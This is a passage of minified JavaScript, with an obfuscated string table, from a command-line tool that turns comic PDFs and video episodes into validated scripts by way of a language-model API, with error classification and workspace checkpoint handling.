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","CMvNAxn0CNLFzgvSDge","BwvZC2fNzq","Cgf0Aa","C2HHCgu","CgfYC2u","AgfZ","q29TAwmGzxbPC29KzsbMywLSzwqGDhjHBNnJCMLWDcb2ywXPzgf0Aw9UoIa","C2XPy2u","cUMCGoIMGEINO+wgS++8MG","C3vJy2vZCW","AxnZDwvZ","zMLSDgvY","ywn0Aw9UCW","AM9PBG","44cc5PYSifberIdLHBeG","sw5ZCgvJDcbLCc8QlNjLC3bVBNnLlMPZB24Gyw5KihjLCNvUigLUz2vZDcb3AxrOihrOzsbZyw1LihnVDxjJzsbHBMqGD29YA3nWywnLlG","sw52ywXPzcbVCIb1BM9YzgvYzwqGC291CMnLihbHz2vZoIa","oYbKB2n1BwvUDcbOyxmG","Dgv4Da","sw52ywXPzcbVCIbKDxbSAwnHDguGAwDUB3jLzcbWywDLoIa","CgfNzxm","CMvNAw9UCW","BgvUz3rO","ugfNzxmGywjZzw50igzYB20GDhjHBNnJCMLWDdOG","cUw3SUACIEI9Row9LE+8MG","zNjVBq","ihbHz2vZlG","B3bLBMfWAs0ZlJa","CgfNzq","zxjYB3i","BwfW","C3rYAw5NAwz5","ywrK","zgf0yq","C29Tzq","C2nLBMvZ","su5hrvnux0nptuLdx1nfuKLbtf9gquLmruq"];return hl=function(){return e},hl()}async function Gh(e,t,n,o,i,r){let s=Ha,c=ha[s(11)][s(8)],a=await e[s(2)]({media:t,signal:r,system:s(4),user:o+s(16)+i+s(32)+JSON[s(39)](n),responseJsonSchema:$h[s(5)](c,{target:s(35)})});return c[s(12)](JSON[s(12)](a[s(26)]))}function fn(e,t){e=e-0;let n=hl(),o=n[e];if(fn.pkbepj===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};fn.AcwwSN=i,fn.wSoQuY={},fn.pkbepj=!0}let r=n[0];fn.aUTMuq!==r&&(fn.wSoQuY={},fn.aUTMuq=r);let s=fn.wSoQuY[e];return s===void 0?(o=fn.AcwwSN(o),fn.wSoQuY[e]=o):o=s,o}function Qa(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function gA(e){switch(e.errorCode){case"LLM_CREDENTIAL_MISSING":return{failure_type:"authentication",failure_code:"authentication_failed"};case"LLM_CONFIG_INVALID":return{failure_type:"provider",failure_code:"request_rejected"};case"INGEST_VIDEO_INLINE_TOO_LARGE":return{failure_type:"media",failure_code:"media_too_large"};case"INGEST_COMIC_SERIAL_FAILED":case"INGEST_VIDEO_SERIAL_FAILED":return{failure_type:"pipeline",failure_code:"serial_parse_failed"};case"INGEST_VIDEO_TIMESTAMP_MISSING":return{failure_type:"validation",failure_code:"script_validation_failed"};case"INGEST_SOURCE_MISMATCH":return{failure_type:"pipeline",failure_code:"source_mismatch"};case"INGEST_PIPELINE_MISMATCH":return{failure_type:"pipeline",failure_code:"pipeline_mismatch"};case"INGEST_VALIDATION_FAILED":return{failure_type:"validation",failure_code:"script_validation_failed"};default:return{failure_type:"unknown",failure_code:"unknown"}}}function hA(e){if(e instanceof T)return{failure:e.failure,attempts:e.modelFailures};if(e instanceof S){let t=e.errorCode==="INGEST_VALIDATION_FAILED"||e.errorCode==="INGEST_VIDEO_SERIAL_FAILED"||e.errorCode==="INGEST_COMIC_SERIAL_FAILED";return{failure:Ut(gA(e),{retryable:t,message:e.message}),attempts:[]}}return{failure:Ut({failure_type:"unknown",failure_code:"unknown"},{retryable:!1,message:e instanceof Error?e.message:String(e)}),attempts:[]}}function Fa(e,t,n){let o=hA(e);return{schema_version:1,unit:{kind:"episode",episode:t},phase:n,occurred_at:new Date().toISOString(),...o}}function Jh(e){return e.retryable?"Inspect the episode error sidecar and rerun `scriptctl ingest` to resume from this episode.":e.failure_type==="policy"?"Inspect the provider policy reason in the episode error sidecar; rerunning the same source is unlikely to help.":e.failure_type==="authentication"||e.failure_type==="authorization"?"Fix the provider credential or permission reported in the episode error sidecar before rerunning.":"Inspect the typed episode error sidecar and resolve the terminal failure before rerunning."}function Bh(e,t){return typeof e=="string"&&t.some(n=>n===e)}function ur(e){return typeof e=="string"?e:void 0}function yA(e){if(!Array.isArray(e))return;let t=[];for(let n of e){if(!Qa(n)||typeof n.category!="string"||typeof n.probability!="string"||typeof n.blocked!="boolean")return;t.push({category:n.category,probability:n.probability,blocked:n.blocked})}return t}function wA(e){let t=e.provider_source,n=e.provider_reason;return{provider:ur(e.provider),model:ur(e.model),operation:ur(e.operation),http_status:typeof e.http_status=="number"?e.http_status:void 0,system_code:ur(e.system_code),provider_source:Bh(t,["prompt","candidate"])?t:void 0,provider_reason:Bh(n,["SAFETY","PROHIBITED_CONTENT","BLOCKLIST","SPII","RECITATION","IMAGE_SAFETY","IMAGE_PROHIBITED_CONTENT","IMAGE_RECITATION","ESCALATION","OTHER","UNSPECIFIED","UNKNOWN"])?n:void 0,provider_reason_raw:ur(e.provider_reason_raw),finish_message:ur(e.finish_message),safety_ratings:yA(e.safety_ratings),details:Array.isArray(e.details)&&e.details.every(i=>typeof i=="string")?e.details:void 0}}function ls(e){if(!Qa(e))return null;let t=yu(e.failure_type,e.failure_code);return!t||typeof e.retryable!="boolean"||typeof e.message!="string"?null:Ut(t,{...wA(e),retryable:e.retryable,message:e.message})}function us(e){if(!Qa(e)||e.schema_version!==1)return null;let t=e.unit;if(!Qa(t)||t.kind!=="episode"||typeof t.episode!="number"||typeof e.phase!="string"||typeof e.occurred_at!="string")return null;let n=ls(e.failure);if(!n||!Array.isArray(e.attempts))return null;let o=[];for(let i of e.attempts){let r=ls(i);if(!r)return null;o.push(r)}return{schema_version:1,unit:{kind:"episode",episode:t.episode},phase:e.phase,occurred_at:e.occurred_at,failure:n,attempts:o}}var Kh="comic-1",Ya=e=>String(e).padStart(3,"0"),jh=["script.initial.json","id_map.json","validation.json","context.json","v4_identity_map.json","script.json"];function qa(e,t,n){let o=Ja(Rh(e,t.context,n),t.context,"comic",t.identityMap);if(!o.scriptV4||!o.validation.ok)throw new S("Comic script failed validation.",{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"Inspect the current episode response and rerun ingest with the same source and workspace.",data:{actual:o.validation.errors.slice(0,8).map(i=>`${i.path}: ${i.message}`)}});for(let[i,r]of o.scriptV4.episodes.entries())r.synopsis=e[i].output.synopsis;return{...o,scriptV4:o.scriptV4}}function wl(e,t,n){e.writeJson("script.initial.json",t.initial),e.writeJson("id_map.json",t.idMap),e.writeJson("validation.json",t.validation),e.writeJson("context.json",n),e.writeJson("v4_identity_map.json",t.identityMap),e.writeJson("script.json",t.scriptV4)}async function EA(e){let t=bn(e.sourcePath);if(t.kind!=="comic-file"&&t.kind!=="comic-directory")throw new S("Expected PDF comic source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});let n=new mt(Ai.resolve(e.workspacePath));n.ensure();let o=n.has("manifest.json")?n.readJson("manifest.json"):null;if(o&&o.pipeline_version!==Kh)throw new S("This workspace belongs to another ingest pipeline.",{exitCode:b,errorCode:"INGEST_PIPELINE_MISMATCH",hint:"Choose a fresh workspace."});if(!o&&n.has("script.json"))throw new S("Workspace already contains an unmanaged script.json.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Choose a fresh workspace."});let i=await Lh(t),r=o&&!o.episodes.some(w=>w.original_path)?i:await Vh(i,n,e.executor.documentPort("ingest.comic-serial"),e.signal);o&&Nh(o.episodes,r);let s={version:1,pipeline_version:Kh,updated:new Date().toISOString(),source:{kind:t.kind,path:Ai.resolve(t.path),sha256:_A("sha256").update(r.map(w=>w.sha256).join(`
270
+ `)).digest("hex")},episodes:r,...o?.current_error?{current_error:o.current_error}:{}};if(e.force){for(let w of o?.episodes??[])for(let h of["json","response.json","context.md","error.json","input.pdf"])so.rmSync(n.path(`ep/ep_${Ya(w.episode)}.${h}`),{force:!0});for(let w of["checkpoint.json","timings.json",...jh])so.rmSync(n.path(w),{force:!0});delete s.current_error}n.writeJson("manifest.json",s);let c=n.has("checkpoint.json")?n.readJson("checkpoint.json"):{context:Go(),identityMap:$o()},a=r.slice(0,c.context.lastEpisode).map(w=>n.readJson(`ep/ep_${Ya(w.episode)}.json`)),d=so.realpathSync(t.path),p=Ai.basename(d,t.kind==="comic-file"?Ai.extname(d):""),l=new Do(n,e.executor),f=new cr(w=>n.writeJson("timings.json",w));f.phaseStart("serial"),f.serialStart(r.length,r.length);let u="failed",y=0,m=a.length,g;try{if(a.length>0){wl(n,qa(a,c,p),c.context);for(let _ of 